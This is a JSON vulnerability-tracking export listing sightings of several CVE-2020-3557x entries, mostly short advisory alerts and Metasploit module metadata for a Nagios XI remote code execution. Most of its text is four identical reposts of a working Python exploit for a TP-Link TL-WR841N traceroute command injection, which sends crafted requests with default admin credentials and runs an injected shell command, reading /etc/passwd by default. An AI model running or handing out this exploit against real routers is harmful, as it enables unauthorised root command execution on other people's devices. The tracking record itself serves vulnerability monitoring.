{"vulnerability": "cve-2020-3557", "sightings": [{"uuid": "f2f4bb35-7d1b-4c96-aae3-4b5da9b623da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35578", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:44.000000Z"}, {"uuid": "bbaab0fc-a35a-4d9b-9daa-57f48b97175a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35578", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:28.000000Z"}, {"uuid": "238e4442-7d49-4eea-86f5-ae7ecf3495a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35578", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/nagios_xi_scanner.rb", "content": "", "creation_timestamp": "2021-03-26T23:19:21.000000Z"}, {"uuid": "1dfb9a2c-e4a7-49fa-ab5c-0e7094800916", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35578", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/nagios_xi_plugins_filename_authenticated_rce.rb", "content": "", "creation_timestamp": "2021-04-14T22:07:13.000000Z"}, {"uuid": "a99825ef-7839-4d01-b781-bd41e84d50b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35577", "type": "seen", "source": "https://t.me/cibsecurity/23795", "content": "\u203c CVE-2020-35577 \u203c\n\nIn Endalia Selection Portal before 4.205.0, an Insecure Direct Object Reference (IDOR) allows any authenticated user to download every file uploaded to the platform by changing the value of the file identifier (aka CommonDownload identification number).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-02-18T16:50:06.000000Z"}, {"uuid": "75613603-062f-4a0b-8b7c-379102ee420f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35570", "type": "seen", "source": "https://t.me/cibsecurity/23644", "content": "\u203c CVE-2020-35570 \u203c\n\nAn issue was discovered in MB CONNECT LINE mymbCONNECT24 and mbCONNECT24 through 2.6.2. An unauthenticated attacker is able to access files (that should have been restricted) via forceful browsing.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-02-16T18:48:00.000000Z"}, {"uuid": "0d5c742f-ee0b-4d1b-b69e-7dda68b8ffbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35572", "type": "seen", "source": "https://t.me/cibsecurity/23321", "content": "\u203c CVE-2020-35572 \u203c\n\nAdminer through 4.7.8 allows XSS via the history parameter to the default URI.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-02-09T20:46:44.000000Z"}, {"uuid": "5dc09e36-2ef6-4274-93de-690a949378ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35576", "type": "seen", "source": "https://t.me/cibsecurity/22651", "content": "\u203c CVE-2020-35576 \u203c\n\nA Command Injection issue in the traceroute feature on TP-Link TL-WR841N V13 (JP) with firmware versions prior to 201216 allows authenticated users to execute arbitrary code as root via shell metacharacters, a different vulnerability than CVE-2018-12577.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-01-26T20:49:27.000000Z"}, {"uuid": "1a05f203-d11f-4d20-9f3f-1f604868a8e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35575", "type": "seen", "source": "https://t.me/cibsecurity/21322", "content": "\u203c CVE-2020-35575 \u203c\n\nA password-disclosure issue in the web interface on certain TP-Link devices allows a remote attacker to get full administrative access to the web panel. This affects WA901ND devices before 3.16.9(201211) beta, and Archer C5, Archer C7, MR3420, MR6400, WA701ND, WA801ND, WDR3500, WDR3600, WE843N, WR1043ND, WR1045ND, WR740N, WR741ND, WR749N, WR802N, WR840N, WR841HP, WR841N, WR842N, WR842ND, WR845N, WR940N, WR941HP, WR945N, WR949N, and WRD4300 devices.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2020-12-26T07:26:44.000000Z"}, {"uuid": "24ac2361-0aac-41b7-b5d4-7b269767bf3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35578", "type": "seen", "source": "https://t.me/pwnwiki_zhchannel/530", "content": "CVE-2020-35578 Nagios XI \u9060\u7a0b\u547d\u4ee4\u57f7\u884c\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2020-35578_Nagios_XI_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-05-30T02:20:59.000000Z"}, {"uuid": "f95c4188-3ef2-46a5-a1e0-4949a1f293a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35575", "type": "seen", "source": "https://t.me/hacking_Attack/14116", "content": "Exploit Collector\nTP-Link TL-WR841N Command Injection\n\nhttps://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png \nTP-Link TL-WR841N suffers from a remote command injection vulnerability.\n\nMD5 | 6d752418204da4962328ae4dea40f269\n\nDownload\n# Exploit Title: TP-Link TL-WR841N - Command Injection\n# Date: 2020-12-13\n# Exploit Author: Koh You Liang\n# Vendor Homepage: https://www.tp-link.com/\n# Software Link: https://static.tp-link.com/TL-WR841N(JP)_V13_161028.zip\n# Version: TL-WR841N 0.9.1 4.0\n# Tested on: Windows 10\n# CVE : CVE-2020-35575\n\nimport requests\nimport sys\nimport time\n\ntry:\n_ = sys.argv[2]\npayload = ' '.join(sys.argv[1:])\nexcept IndexError:\ntry:\npayload = sys.argv[1]\nexcept IndexError:\nprint(\"[*] Command not specified, using the default `cat etc/passwd=`\")\npayload = 'cat etc/passwd'\n\n# Default credentials is admin:admin - replace with your own\ncookies = {\n'Authorization': 'Basic YWRtaW46YWRtaW4='\n}\n\nheaders = {\n'Host': '192.168.0.1',\n'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko=/20100101 Firefox/84.0',\n'Accept': '*/*',\n'Accept-Language': 'en-US,en;q=0.5',\n'Accept-Encoding': 'gzip, deflate',\n'Content-Type': 'text/plain',\n'Content-Length': '197',\n'Origin': 'http://192.168.0.1',\n'Connection': 'close',\n'Referer': 'http://192.168.0.1/mainFrame.htm',\n}\n\ndata1 = \\\n'''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\\r\\nmaxHopCount=20\\r\\ntimeout=50\\r\\nnumberOfTries=1\\r\\nhost=\"`{}`\"\\r\\ndataBlockSize=64\\r\\nX_TP_ConnName=ewan_ipoe_d\\r\\ndiagnosticsState=Requested\\r\\nX_TP_HopSeq=0\\r\\n'''.format(payload)\nresponse1 = requests.post('http://192.168.0.1/cgi?2', headers=headers, cookies=cookies, data=data1, verify=False)\nprint('[+] Sending payload...')\n\ntry:\nresponse1.text.splitlines()[0]\nexcept IndexError:\nsys.exit('[-] Cannot get response. Please check your cookie.')\nif response1.text.splitlines()[0] != '[error]0':\nsys.exit('[*] Router/Firmware is not vulnerable.')\n\ndata2 = '[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\\r\\n'\nresponse2 = requests.post('http://192.168.0.1/cgi?7', headers=headers, cookies=cookies, data=data2, verify=False)\nprint('[+] Receiving response from router...')\ntime.sleep(0.8) # Buffer time for traceroute to succeed\n\ndata3 = '''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\\r\\ndiagnosticsState\\r\\nX_TP_HopSeq\\r\\nX_TP_Result\\r\\n'''\nresponse3 = requests.post('http://192.168.0.1/cgi?1', headers=headers, cookies=cookies, data=data3, verify=False)\n\nif '=:' in response3.text.splitlines()[3]:\nprint('[-] Command not supported.')\nelse:\nprint('[+] Exploit successful!')\nfor line_number, line in enumerate(response3.text.splitlines()):\ntry:\nif line_number == 3:\nprint(line[12:])\nif line_number > 3 and line != '[error]0':\nprint(line)\nif 'not known' in line:\nbreak\nexcept IndexError:\nbreak\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:34.725425Z"}, {"uuid": "9c375956-fe2e-4246-a268-1db860b2cef3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35575", "type": "seen", "source": "https://t.me/hacking_Attack/14116", "content": "Exploit Collector\nTP-Link TL-WR841N Command Injection\n\nhttps://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png \nTP-Link TL-WR841N suffers from a remote command injection vulnerability.\n\nMD5 | 6d752418204da4962328ae4dea40f269\n\nDownload\n# Exploit Title: TP-Link TL-WR841N - Command Injection\n# Date: 2020-12-13\n# Exploit Author: Koh You Liang\n# Vendor Homepage: https://www.tp-link.com/\n# Software Link: https://static.tp-link.com/TL-WR841N(JP)_V13_161028.zip\n# Version: TL-WR841N 0.9.1 4.0\n# Tested on: Windows 10\n# CVE : CVE-2020-35575\n\nimport requests\nimport sys\nimport time\n\ntry:\n_ = sys.argv[2]\npayload = ' '.join(sys.argv[1:])\nexcept IndexError:\ntry:\npayload = sys.argv[1]\nexcept IndexError:\nprint(\"[*] Command not specified, using the default `cat etc/passwd=`\")\npayload = 'cat etc/passwd'\n\n# Default credentials is admin:admin - replace with your own\ncookies = {\n'Authorization': 'Basic YWRtaW46YWRtaW4='\n}\n\nheaders = {\n'Host': '192.168.0.1',\n'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko=/20100101 Firefox/84.0',\n'Accept': '*/*',\n'Accept-Language': 'en-US,en;q=0.5',\n'Accept-Encoding': 'gzip, deflate',\n'Content-Type': 'text/plain',\n'Content-Length': '197',\n'Origin': 'http://192.168.0.1',\n'Connection': 'close',\n'Referer': 'http://192.168.0.1/mainFrame.htm',\n}\n\ndata1 = \\\n'''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\\r\\nmaxHopCount=20\\r\\ntimeout=50\\r\\nnumberOfTries=1\\r\\nhost=\"`{}`\"\\r\\ndataBlockSize=64\\r\\nX_TP_ConnName=ewan_ipoe_d\\r\\ndiagnosticsState=Requested\\r\\nX_TP_HopSeq=0\\r\\n'''.format(payload)\nresponse1 = requests.post('http://192.168.0.1/cgi?2', headers=headers, cookies=cookies, data=data1, verify=False)\nprint('[+] Sending payload...')\n\ntry:\nresponse1.text.splitlines()[0]\nexcept IndexError:\nsys.exit('[-] Cannot get response. Please check your cookie.')\nif response1.text.splitlines()[0] != '[error]0':\nsys.exit('[*] Router/Firmware is not vulnerable.')\n\ndata2 = '[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\\r\\n'\nresponse2 = requests.post('http://192.168.0.1/cgi?7', headers=headers, cookies=cookies, data=data2, verify=False)\nprint('[+] Receiving response from router...')\ntime.sleep(0.8) # Buffer time for traceroute to succeed\n\ndata3 = '''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\\r\\ndiagnosticsState\\r\\nX_TP_HopSeq\\r\\nX_TP_Result\\r\\n'''\nresponse3 = requests.post('http://192.168.0.1/cgi?1', headers=headers, cookies=cookies, data=data3, verify=False)\n\nif '=:' in response3.text.splitlines()[3]:\nprint('[-] Command not supported.')\nelse:\nprint('[+] Exploit successful!')\nfor line_number, line in enumerate(response3.text.splitlines()):\ntry:\nif line_number == 3:\nprint(line[12:])\nif line_number > 3 and line != '[error]0':\nprint(line)\nif 'not known' in line:\nbreak\nexcept IndexError:\nbreak\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:09.417432Z"}, {"uuid": "da174bfe-0371-4ff5-8183-3e9fef6b4feb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35575", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/14116", "content": "Exploit Collector\nTP-Link TL-WR841N Command Injection\n\nhttps://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png \nTP-Link TL-WR841N suffers from a remote command injection vulnerability.\n\nMD5 | 6d752418204da4962328ae4dea40f269\n\nDownload\n# Exploit Title: TP-Link TL-WR841N - Command Injection\n# Date: 2020-12-13\n# Exploit Author: Koh You Liang\n# Vendor Homepage: https://www.tp-link.com/\n# Software Link: https://static.tp-link.com/TL-WR841N(JP)_V13_161028.zip\n# Version: TL-WR841N 0.9.1 4.0\n# Tested on: Windows 10\n# CVE : CVE-2020-35575\n\nimport requests\nimport sys\nimport time\n\ntry:\n_ = sys.argv[2]\npayload = ' '.join(sys.argv[1:])\nexcept IndexError:\ntry:\npayload = sys.argv[1]\nexcept IndexError:\nprint(\"[*] Command not specified, using the default `cat etc/passwd=`\")\npayload = 'cat etc/passwd'\n\n# Default credentials is admin:admin - replace with your own\ncookies = {\n'Authorization': 'Basic YWRtaW46YWRtaW4='\n}\n\nheaders = {\n'Host': '192.168.0.1',\n'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko=/20100101 Firefox/84.0',\n'Accept': '*/*',\n'Accept-Language': 'en-US,en;q=0.5',\n'Accept-Encoding': 'gzip, deflate',\n'Content-Type': 'text/plain',\n'Content-Length': '197',\n'Origin': 'http://192.168.0.1',\n'Connection': 'close',\n'Referer': 'http://192.168.0.1/mainFrame.htm',\n}\n\ndata1 = \\\n'''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\\r\\nmaxHopCount=20\\r\\ntimeout=50\\r\\nnumberOfTries=1\\r\\nhost=\"`{}`\"\\r\\ndataBlockSize=64\\r\\nX_TP_ConnName=ewan_ipoe_d\\r\\ndiagnosticsState=Requested\\r\\nX_TP_HopSeq=0\\r\\n'''.format(payload)\nresponse1 = requests.post('http://192.168.0.1/cgi?2', headers=headers, cookies=cookies, data=data1, verify=False)\nprint('[+] Sending payload...')\n\ntry:\nresponse1.text.splitlines()[0]\nexcept IndexError:\nsys.exit('[-] Cannot get response. Please check your cookie.')\nif response1.text.splitlines()[0] != '[error]0':\nsys.exit('[*] Router/Firmware is not vulnerable.')\n\ndata2 = '[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\\r\\n'\nresponse2 = requests.post('http://192.168.0.1/cgi?7', headers=headers, cookies=cookies, data=data2, verify=False)\nprint('[+] Receiving response from router...')\ntime.sleep(0.8) # Buffer time for traceroute to succeed\n\ndata3 = '''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\\r\\ndiagnosticsState\\r\\nX_TP_HopSeq\\r\\nX_TP_Result\\r\\n'''\nresponse3 = requests.post('http://192.168.0.1/cgi?1', headers=headers, cookies=cookies, data=data3, verify=False)\n\nif '=:' in response3.text.splitlines()[3]:\nprint('[-] Command not supported.')\nelse:\nprint('[+] Exploit successful!')\nfor line_number, line in enumerate(response3.text.splitlines()):\ntry:\nif line_number == 3:\nprint(line[12:])\nif line_number > 3 and line != '[error]0':\nprint(line)\nif 'not known' in line:\nbreak\nexcept IndexError:\nbreak\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T02:00:06.142215Z"}, {"uuid": "3ce7a8e8-9de9-4ebe-b54b-22415a6ab423", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35578", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/nagios_xi_scanner.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"\", \"author\": [\"Erik Wynter\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": false, \"default_credential\": false, \"description\": \"The module detects the version of Nagios XI applications and\\n        suggests matching exploit modules based on the version number.\\n        Since Nagios XI applications only reveal the version to authenticated\\n        users, valid credentials for a Nagios XI account are required.\\n        Alternatively, it is possible to provide a specific Nagios XI version\\n        number via the `VERSION` option. In that case, the module simply\\n        suggests matching exploit modules and does not probe the target(s).\", \"disclosure_date\": null, \"fullname\": \"auxiliary/scanner/http/nagios_xi_scanner\", \"is_install_path\": true, \"mod_time\": \"2026-04-02 17:30:43 +0000\", \"name\": \"Nagios XI Scanner\", \"needs_cleanup\": false, \"notes\": {}, \"path\": \"/modules/auxiliary/scanner/http/nagios_xi_scanner.rb\", \"platform\": \"\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"scanner/http/nagios_xi_scanner\", \"references\": [\"CVE-2019-15949\", \"CVE-2020-5791\", \"CVE-2020-5792\", \"CVE-2020-35578\", \"CVE-2021-37343\"], \"rport\": 80, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "creation_timestamp": "2026-09-08T06:47:38.146777Z"}, {"uuid": "4c3661ab-d52c-498b-bd2a-8648b7d68a6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35578", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/nagios_xi_plugins_filename_authenticated_rce.rb", "content": "{\"aliases\": [], \"arch\": \"x86, x64, cmd\", \"author\": [\"Haboob Team\", \"Erik Wynter\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits a command injection vulnerability (CVE-2020-35578) in the `/admin/monitoringplugins.php`\\n          page of Nagios XI versions prior to 5.8.0 when uploading plugins. Successful exploitation allows\\n          an authenticated admin user to achieve remote code execution as the `apache` user by uploading\\n          a malicious plugin.\\n\\n          Valid credentials for a Nagios XI admin user are required. This module has\\n          been successfully tested against Nagios versions XI 5.3.0 and 5.7.5, both\\n          running on CentOS 7.\", \"disclosure_date\": \"2020-12-19\", \"fullname\": \"exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 13:20:20 +0000\", \"name\": \"Nagios XI Prior to 5.8.0 - Plugins Filename Authenticated Remote Code Exection\", \"needs_cleanup\": true, \"notes\": {\"Reliability\": [\"first-attempt-fail\"], \"SideEffects\": [\"artifacts-on-disk\", \"ioc-in-logs\", \"config-changes\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/http/nagios_xi_plugins_filename_authenticated_rce.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": true, \"rank\": 600, \"ref_name\": \"linux/http/nagios_xi_plugins_filename_authenticated_rce\", \"references\": [\"CVE-2020-35578\", \"EDB-49422\"], \"rport\": 80, \"session_types\": false, \"targets\": [\"Linux (x86/x64)\", \"CMD\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:46.883493Z"}, {"uuid": "ddeb8972-0c6f-474d-add9-d67d6988158a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35575", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/14116", "content": "Exploit Collector\nTP-Link TL-WR841N Command Injection\n\nhttps://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png \nTP-Link TL-WR841N suffers from a remote command injection vulnerability.\n\nMD5 | 6d752418204da4962328ae4dea40f269\n\nDownload\n# Exploit Title: TP-Link TL-WR841N - Command Injection\n# Date: 2020-12-13\n# Exploit Author: Koh You Liang\n# Vendor Homepage: https://www.tp-link.com/\n# Software Link: https://static.tp-link.com/TL-WR841N(JP)_V13_161028.zip\n# Version: TL-WR841N 0.9.1 4.0\n# Tested on: Windows 10\n# CVE : CVE-2020-35575\n\nimport requests\nimport sys\nimport time\n\ntry:\n_ = sys.argv[2]\npayload = ' '.join(sys.argv[1:])\nexcept IndexError:\ntry:\npayload = sys.argv[1]\nexcept IndexError:\nprint(\"[*] Command not specified, using the default `cat etc/passwd=`\")\npayload = 'cat etc/passwd'\n\n# Default credentials is admin:admin - replace with your own\ncookies = {\n'Authorization': 'Basic YWRtaW46YWRtaW4='\n}\n\nheaders = {\n'Host': '192.168.0.1',\n'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko=/20100101 Firefox/84.0',\n'Accept': '*/*',\n'Accept-Language': 'en-US,en;q=0.5',\n'Accept-Encoding': 'gzip, deflate',\n'Content-Type': 'text/plain',\n'Content-Length': '197',\n'Origin': 'http://192.168.0.1',\n'Connection': 'close',\n'Referer': 'http://192.168.0.1/mainFrame.htm',\n}\n\ndata1 = \\\n'''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\\r\\nmaxHopCount=20\\r\\ntimeout=50\\r\\nnumberOfTries=1\\r\\nhost=\"`{}`\"\\r\\ndataBlockSize=64\\r\\nX_TP_ConnName=ewan_ipoe_d\\r\\ndiagnosticsState=Requested\\r\\nX_TP_HopSeq=0\\r\\n'''.format(payload)\nresponse1 = requests.post('http://192.168.0.1/cgi?2', headers=headers, cookies=cookies, data=data1, verify=False)\nprint('[+] Sending payload...')\n\ntry:\nresponse1.text.splitlines()[0]\nexcept IndexError:\nsys.exit('[-] Cannot get response. Please check your cookie.')\nif response1.text.splitlines()[0] != '[error]0':\nsys.exit('[*] Router/Firmware is not vulnerable.')\n\ndata2 = '[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\\r\\n'\nresponse2 = requests.post('http://192.168.0.1/cgi?7', headers=headers, cookies=cookies, data=data2, verify=False)\nprint('[+] Receiving response from router...')\ntime.sleep(0.8) # Buffer time for traceroute to succeed\n\ndata3 = '''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\\r\\ndiagnosticsState\\r\\nX_TP_HopSeq\\r\\nX_TP_Result\\r\\n'''\nresponse3 = requests.post('http://192.168.0.1/cgi?1', headers=headers, cookies=cookies, data=data3, verify=False)\n\nif '=:' in response3.text.splitlines()[3]:\nprint('[-] Command not supported.')\nelse:\nprint('[+] Exploit successful!')\nfor line_number, line in enumerate(response3.text.splitlines()):\ntry:\nif line_number == 3:\nprint(line[12:])\nif line_number > 3 and line != '[error]0':\nprint(line)\nif 'not known' in line:\nbreak\nexcept IndexError:\nbreak\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-09T00:00:47.465914Z"}]}